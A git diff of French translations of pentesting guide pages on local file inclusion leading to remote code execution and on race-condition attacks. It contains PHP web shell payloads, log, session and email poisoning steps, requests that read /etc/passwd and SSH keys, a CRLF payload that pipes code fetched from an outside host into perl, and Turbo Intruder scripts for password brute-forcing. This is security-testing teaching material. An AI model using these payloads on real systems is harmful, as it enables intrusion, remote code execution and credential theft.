-> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP générera une erreur** et **rien d'autre ne sera exécuté**.
+> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés en la chaîne "_**quote;**_", **PHP renverra une erreur** et **rien d'autre ne sera exécuté**.
 >
-> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP renverra une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.
+> Assurez-vous également d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde chance.
 
-Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
-Autres chemins de logs possibles:
+Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell pourrait être inséré dans cet en-tête.\
+Autres chemins de log possibles :
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@@ -499,33 +499,33 @@ Autres chemins de logs possibles:
 ```
 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 
-### Par e-mail
+### Par Email
 
-**Envoyer un e-mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
+**Envoyez un mail** à un compte interne (user@localhost) contenant votre PHP payload comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
 
-### Via /proc/\*/fd/\*
+### Par /proc/\*/fd/\*
 
-1. Téléversez beaucoup de shells (par exemple : 100)
-2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être découvert par force brute) et $FD le descripteur de fichier (peut aussi être découvert par force brute)
+1. Upload a lot of shells (par exemple : 100)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être trouvé par brute force) et $FD le descripteur de fichier (peut aussi être trouvé par brute force)
 
-### Via /proc/self/environ
+### Par /proc/self/environ
 
-Comme un fichier de log, envoyez le payload dans le User-Agent ; il sera reflété dans le fichier /proc/self/environ
+Comme pour un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
 ### Via upload
 
-Si vous pouvez upload un fichier, injectez-y simplement le shell payload (ex : `<?php system($_GET['c']); ?>`).
+Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (ex : `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
 Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
 
-### Via téléversement d'un fichier ZIP
+### Via upload de fichier ZIP
 
-Téléversez un fichier ZIP contenant un PHP shell compressé et accédez à :
+Téléversez un fichier ZIP contenant un shell PHP compressé et accédez :
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
@@ -536,7 +536,7 @@ Vérifiez si le site utilise la session PHP (PHPSESSID)
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_
+Dans PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@@ -545,32 +545,32 @@ Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Utilisez la LFI pour inclure le PHP session file
+Utilisez le LFI pour inclure le fichier de session PHP
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
-### Via ssh
+### Par ssh
 
-Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**.
+Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**
 
-### **Via** **vsftpd** _**logs**_
+### **Par** **vsftpd** _**journaux**_
 
-Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le cas où une vulnérabilité Local File Inclusion (LFI) est présente et qu'il est possible d'accéder à un serveur vsftpd exposé, les étapes suivantes peuvent être envisagées :
+Les journaux du serveur FTP vsftpd se trouvent dans _**/var/log/vsftpd.log**_. Dans le cas où une vulnérabilité Local File Inclusion (LFI) est présente et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
 
-1. Injectez un payload PHP dans le champ username lors du processus de connexion.
-2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
+1. Injecter un payload PHP dans le champ username lors du processus de connexion.
+2. Après l'injection, utiliser le LFI pour récupérer les journaux du serveur depuis _**/var/log/vsftpd.log**_.
 
-### Via php base64 filter (using base64)
+### Par le filtre base64 de PHP (en utilisant base64)
 
-Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 se terminant par ".php", il ignorera le "." et ajoutera "php" au base64. Voici un exemple de payload :
+As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Via php filters (no file needed)
+### Via php filters (pas besoin de fichier)
 
-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
 
 
 {{#ref}}
@@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
 
 ### Via segmentation fault
 
-**Téléversez** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** provoquez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le retrouver.
+Uploadez un fichier qui sera stocké comme fichier **temporaire** dans `/tmp`, puis, dans la **même requête**, provoquez un **segmentation fault** ; le fichier temporaire ne sera alors **pas supprimé** et vous pourrez le retrouver.
 
 
 {{#ref}}
@@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
 
 ### Via Nginx temp file storage
 
-Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en frontal de PHP, vous pourriez parvenir à obtenir RCE avec la technique suivante :
+If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
 
 
 {{#ref}}
@@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
 
 ### Via PHP_SESSION_UPLOAD_PROGRESS
 
-Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de cela pour obtenir RCE :
+If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
 
 
 {{#ref}}
@@ -606,7 +606,7 @@ via-php_session_upload_progress.md
 
 ### Via temp file uploads in Windows
 
-Si vous avez trouvé une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir RCE :
+If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
 
 
 {{#ref}}
@@ -617,11 +617,11 @@ lfi2rce-via-temp-file-uploads.md
 
 As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
 
-La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `<?=phpinfo()?>` :
+The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Ce qui suit exploite une vuln CRLF pour obtenir une RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 ```
 ### Via phpinfo() (file_uploads = on)
 
-Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir une RCE :
+Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE :
 
 
 {{#ref}}
@@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
 
 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
-Si vous avez trouvé une **Local File Inclusion** et que vous **can exfiltrate the path** of the temp file MAIS que le **server** est en train de **checking** si le **file to be included has PHP marks**, vous pouvez essayer de **bypass that check** avec cette **Race Condition** :
+Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temp MAIS que le **serveur** **vérifie** si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
 
 
 {{#ref}}
@@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### Via eternal waiting + bruteforce
 
-Si vous pouvez abuser du LFI pour **upload temporary files** et faire en sorte que le serveur **hang** l'exécution PHP, vous pourriez ensuite **brute force filenames during hours** pour trouver le fichier temporaire :
+Si vous pouvez abuser du LFI pour **uploader des fichiers temporaires** et faire **bloquer** l'exécution PHP du serveur, vous pouvez ensuite **brute force** les noms de fichiers pendant des heures pour trouver le fichier temporaire :
 
 
 {{#ref}}
@@ -659,13 +659,13 @@ lfi2rce-via-eternal-waiting.md
 
 If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
 
-**Je ne sais pas en quoi c'est utile mais ça pourrait l'être.**\
-_Même si vous provoquez une PHP Fatal Error, les fichiers temporaires PHP uploadés sont supprimés._
+**Je ne sais pas à quel point c'est utile mais ça pourrait l'être.**\
+_Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP uploadés sont supprimés._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 
 
-## References
+## Références
 
 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

src/pentesting-web/race-condition.md

@@ -5,54 +5,54 @@
 > [!WARNING]
 > Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 
-## Améliorer les attaques Race Condition
+## Améliorer les attaques de Race Condition
 
-Le principal obstacle pour exploiter les race conditions est de s'assurer que plusieurs requêtes soient traitées en même temps, avec une différence de leurs temps de traitement très faible — idéalement, moins de 1 ms.
+Le principal obstacle pour exploiter une race condition est de s'assurer que plusieurs requêtes sont traitées en même temps, avec **une différence de temps de traitement très faible — idéalement, moins de 1ms**.
 
-Voici quelques techniques pour synchroniser des requêtes :
+Voici quelques techniques pour synchroniser les requêtes :
 
 #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
 
-- **HTTP/2** : Permet d'envoyer deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter réseau. Cependant, en raison des variations côté serveur, deux requêtes peuvent ne pas suffire pour un exploit de race condition fiable.
-- **HTTP/1.1 'Last-Byte Sync'** : Permet de pré-envoyer la majeure partie de 20-30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, obtenant ainsi une arrivée simultanée au serveur.
+- **HTTP/2** : Permet d'envoyer deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter réseau. Cependant, en raison des variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation de race condition cohérente.
+- **HTTP/1.1 'Last-Byte Sync'** : Permet de pré-envoyer la majeure partie de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé simultanément, obtenant une arrivée simultanée au serveur.
 
 **Préparation pour Last-Byte Sync** implique :
 
-1. Envoyer les en-têtes et les données du corps moins l'octet final sans fermer le flux.
-2. Faire une pause de 100 ms après l'envoi initial.
-3. Désactiver TCP_NODELAY pour utiliser Nagle's algorithm afin de regrouper les frames finaux.
-4. Envoyer des pings pour préchauffer la connexion.
+1. Envoyer les headers et les données du body moins le dernier octet sans fermer le stream.
+2. Faire une pause de 100ms après l'envoi initial.
+3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle afin de regrouper les frames finales.
+4. Envoyer un ping pour chauffer la connexion.
 
-L'envoi ultérieur des frames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
+L'envoi ultérieur des frames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les RC attacks.
 
 ### S'adapter à l'architecture du serveur
 
-Comprendre l'architecture cible est crucial. Les serveurs frontaux peuvent router les requêtes différemment, ce qui affecte le timing. Le préchauffage côté serveur, via des requêtes sans conséquence, peut normaliser le timing des requêtes.
+Comprendre l'architecture cible est crucial. Les front-end servers peuvent router les requêtes différemment, affectant le timing. Chauffer préventivement la connexion côté serveur, via des requêtes sans conséquence, peut normaliser le timing des requêtes.
 
-#### Gérer le verrouillage basé sur la session
+#### Gestion du verrouillage basé sur la session
 
-Des frameworks comme le session handler de PHP sérialisent les requêtes par session, ce qui peut masquer des vulnérabilités. Utiliser différents tokens de session pour chaque requête peut contourner ce problème.
+Des frameworks comme le session handler de PHP sérialisent les requêtes par session, ce qui peut masquer des vulnérabilités. Utiliser des session tokens différents pour chaque requête peut contourner ce problème.
 
-#### Surmonter les limites de débit ou de ressources
+#### Contourner les limites de débit ou de ressources
 
-Si le préchauffage de la connexion est inefficace, provoquer intentionnellement des délais liés aux limites de débit ou de ressources des serveurs web via un flood de requêtes factices peut faciliter le single-packet attack en induisant un délai côté serveur propice aux race conditions.
+Si le warming de connexion est inefficace, déclencher volontairement des délais liés aux limites de débit ou de ressources des web servers via un flood de requêtes factices peut faciliter le single-packet attack en induisant un délai côté serveur propice aux race conditions.
 
-## Attack Examples
+## Exemples d'attaques
 
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Vous pouvez envoyer la requête vers **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous voulez bruteforcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans la liste déroulante :
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)** : Vous pouvez envoyer la requête vers **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous voulez brute-forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et puis sélectionner le **`examples/race-single-packer-attack.py`** dans la liste déroulante :
 
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
 
-Si vous allez **envoyer différentes valeurs**, vous pouvez modifier le code avec celui-ci qui utilise une wordlist depuis le presse-papiers:
+Si vous allez envoyer différentes valeurs, vous pouvez modifier le code avec celui-ci qui utilise une wordlist depuis le presse-papiers:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
 engine.queue(target.req, password, gate='race1')
 ```
 > [!WARNING]
-> Si le site ne prend pas en charge HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
+> Si le site web ne supporte pas HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
 
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Dans le cas où vous devez envoyer une requête à 1 endpoint puis plusieurs à d'autres endpoints pour déclencher la RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Si vous devez envoyer une requête à 1 endpoint, puis plusieurs à d'autres endpoints pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme :
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
 # send all the queued requests for this attempt
 engine.openGate(currentAttempt)
 ```
-- Il est également disponible dans **Repeater** via la nouvelle option '**Send group in parallel**' dans Burp Suite.
+- C'est aussi disponible dans **Repeater** via la nouvelle option '**Send group in parallel**' de Burp Suite.
 - Pour **limit-overrun** vous pouvez simplement ajouter la **même requête 50 fois** dans le groupe.
-- Pour **connection warming**, vous pouvez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
-- Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pouvez **ajouter des requêtes supplémentaires entre** les deux requêtes.
-- Pour un RC **multi-endpoint** vous pouvez commencer par envoyer la **requête** qui **va vers l'état caché** et ensuite **50 requêtes** juste après qui **exploitent l'état caché**.
+- Pour **connection warming**, vous pouvez **ajouter**, au **début** du **groupe**, quelques **requêtes** vers une partie non statique du serveur web.
+- Pour **delaying** le processus **entre** le traitement d'**une requête et une autre** dans un processus en 2 sous-états, vous pouvez **ajouter des requêtes supplémentaires entre** les deux requêtes.
+- Pour un RC **multi-endpoint** vous pouvez commencer par envoyer la **requête** qui **mène à l'état caché** puis **50 requêtes** juste après qui **exploiteront l'état caché**.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **Automated python script**: Le but de ce script est de changer l'email d'un utilisateur tout en vérifiant en continu jusqu'à ce que le verification token du nouvel email arrive dans l'ancien email (c'est parce que dans le code on observait un RC où il était possible de modifier un email mais que la vérification soit envoyée à l'ancien, car la variable indiquant l'email était déjà initialisée avec la première valeur).\
-Quand le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le verification token de l'email modifié et nous terminons l'attaque.
+- **Script python automatisé**: L'objectif de ce script est de changer l'email d'un utilisateur tout en le vérifiant en continu jusqu'à ce que le token de vérification du nouvel email arrive dans le dernier email (cela vient du fait que dans le code il y avait une RC où il était possible de modifier un email mais que la vérification était envoyée à l'ancien parce que la variable indiquant l'email avait déjà été initialisée avec le premier).\\
+Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le token de vérification de l'email modifié et nous terminons l'attaque.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@@ -217,21 +217,29 @@ h2_conn.close_connection()
 
 response = requests.get(url, verify=False)
 ```
-### Amélioration du Single Packet Attack
+#### Turbo Intruder: engine and gating notes
 
-Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il est expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque Single Packet Attack à **la limitation de fenêtre de 65,535 B de TCP en utilisant la fragmentation au niveau IP** (en scindant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui empêche le réassemblage du paquet jusqu'à ce que tous les fragments aient atteint le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.
+- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
+- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
+- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
 
-Notez que bien que cette amélioration rende l'attaque plus fiable pour des RC qui nécessitent que des centaines/milliers de paquets arrivent en même temps, elle peut aussi rencontrer des limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un réglage strict `SETTINGS_MAX_CONCURRENT_STREAMS` fixé respectivement à 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.\
+
+### Améliorer Single Packet Attack
+
+Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 bytes. Cependant, dans [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il est expliqué comment il est possible d'étendre la limitation de 1 500 bytes de la single packet attack à la **limitation de fenêtre TCP de 65 535 B en utilisant la fragmentation au niveau IP** (scinder un seul paquet en plusieurs paquets IP) et de les envoyer dans un ordre différent, ce qui empêche le réassemblage du paquet tant que tous les fragments n'ont pas atteint le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.
+
+Notez que bien que cette amélioration rende l'attaque plus fiable pour des RC nécessitant que des centaines/milliers de paquets arrivent en même temps, elle peut aussi rencontrer des limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un réglage strict `SETTINGS_MAX_CONCURRENT_STREAMS` à 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.\
 Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant cette attaque RC).
 
 Vous pouvez trouver quelques exemples utilisant cette technique dans le repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 
 ## Raw BF
 
-Avant les recherches précédentes, voici quelques payloads utilisés qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
+Avant la recherche précédente, voici quelques payloads utilisés qui essayaient simplement d'envoyer les paquets aussi vite que possible pour provoquer un RC.
 
-- **Repeater:** Check the examples from the previous section.
-- **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** sur **30** dans le **menu Options**, sélectionnez comme payload **Null payloads** et générez **30.**
+- **Repeater:** Voir les exemples de la section précédente.
+- **Intruder**: Envoyez la **request** vers **Intruder**, réglez le **number of threads** sur **30** dans le **Options menu**, puis sélectionnez comme payload **Null payloads** et générez **30**.
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@@ -279,75 +287,75 @@ print(results)
 
 asyncio.run(main())
 ```
-## **Méthodologie RC**
+## **RC Methodology**
 
-### Dépassement de limite / TOCTOU
+### Limit-overrun / TOCTOU
 
-C'est le type le plus basique de race condition où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Par exemple utiliser le même code de réduction plusieurs fois dans une boutique en ligne. Un exemple très simple se trouve dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.**
+C'est le type le plus basique de race condition où des **vulnerabilities** apparaissent dans des endroits qui **limit the number of times you can perform an action**. Par exemple utiliser le même code promo plusieurs fois dans une boutique en ligne. Un exemple très simple se trouve dans [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**this bug**](https://hackerone.com/reports/759247)**.**
 
 Il existe de nombreuses variantes de ce type d'attaque, notamment :
 
-- Utiliser une carte cadeau plusieurs fois
+- Encaisser une carte cadeau plusieurs fois
 - Noter un produit plusieurs fois
-- Retirer ou transférer de l'argent en excès du solde de votre compte
-- Réutiliser une seule solution CAPTCHA
-- Contourner une limitation de taux anti-brute-force
+- Retirer ou transférer des fonds supérieurs au solde de votre compte
+- Réutiliser une même solution CAPTCHA
+- Contourner une limite de taux anti-brute-force
 
 ### **Sous-états cachés**
 
-L'exploitation de race conditions complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états machine cachés ou **non intentionnels**. Voici comment aborder cela :
+Exploiter des race conditions complexes implique souvent de tirer parti de courtes opportunités pour interagir avec des sous-états de la machine cachés ou **unintended machine substates**. Voici comment aborder cela :
 
 1. **Identifier les sous-états cachés potentiels**
 - Commencez par repérer les endpoints qui modifient ou interagissent avec des données critiques, comme les profils utilisateur ou les processus de password reset. Concentrez-vous sur :
-- **Storage** : Préférez les endpoints qui manipulent des données persistantes côté serveur plutôt que ceux qui gèrent des données côté client.
-- **Action** : Recherchez des opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables que celles qui ajoutent de nouvelles données.
-- **Keying** : Les attaques réussies impliquent généralement des opérations indexées sur le même identifiant, par ex. username ou reset token.
-2. **Effectuer des tests initiaux**
-- Testez les endpoints identifiés avec des attaques de race condition, en observant tout écart par rapport aux résultats attendus. Des réponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnérabilité.
+- **Storage** : Préférez les endpoints qui manipulent des données persistantes côté serveur plutôt que ceux traitant des données côté client.
+- **Action** : Recherchez des opérations qui altèrent des données existantes, plus susceptibles de créer des conditions exploitables que celles qui ajoutent de nouvelles données.
+- **Keying** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, p.ex. username ou reset token.
+2. **Effectuer des sondages initiaux**
+- Testez les endpoints identifiés avec des attaques de race condition, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent indiquer une vulnérabilité.
 3. **Démontrer la vulnérabilité**
-- Réduisez l'attaque au nombre minimal de requêtes nécessaire pour l'exploiter, souvent seulement deux. Cette étape peut nécessiter plusieurs tentatives ou de l'automatisation en raison du timing précis requis.
+- Réduisez l'attaque au nombre minimal de requêtes nécessaires pour l'exploiter, souvent seulement deux. Cette étape peut nécessiter plusieurs tentatives ou de l'automatisation en raison du timing précis requis.
 
 ### Attaques sensibles au temps
 
-La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme des timestamps sont utilisées pour des security tokens. Par exemple, la génération de password reset tokens basée sur des timestamps pourrait produire des tokens identiques pour des requêtes simultanées.
+La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme les timestamps sont utilisées pour des security tokens. Par exemple, générer des password reset tokens basés sur des timestamps pourrait permettre des tokens identiques pour des requêtes simultanées.
 
 **Pour exploiter :**
 
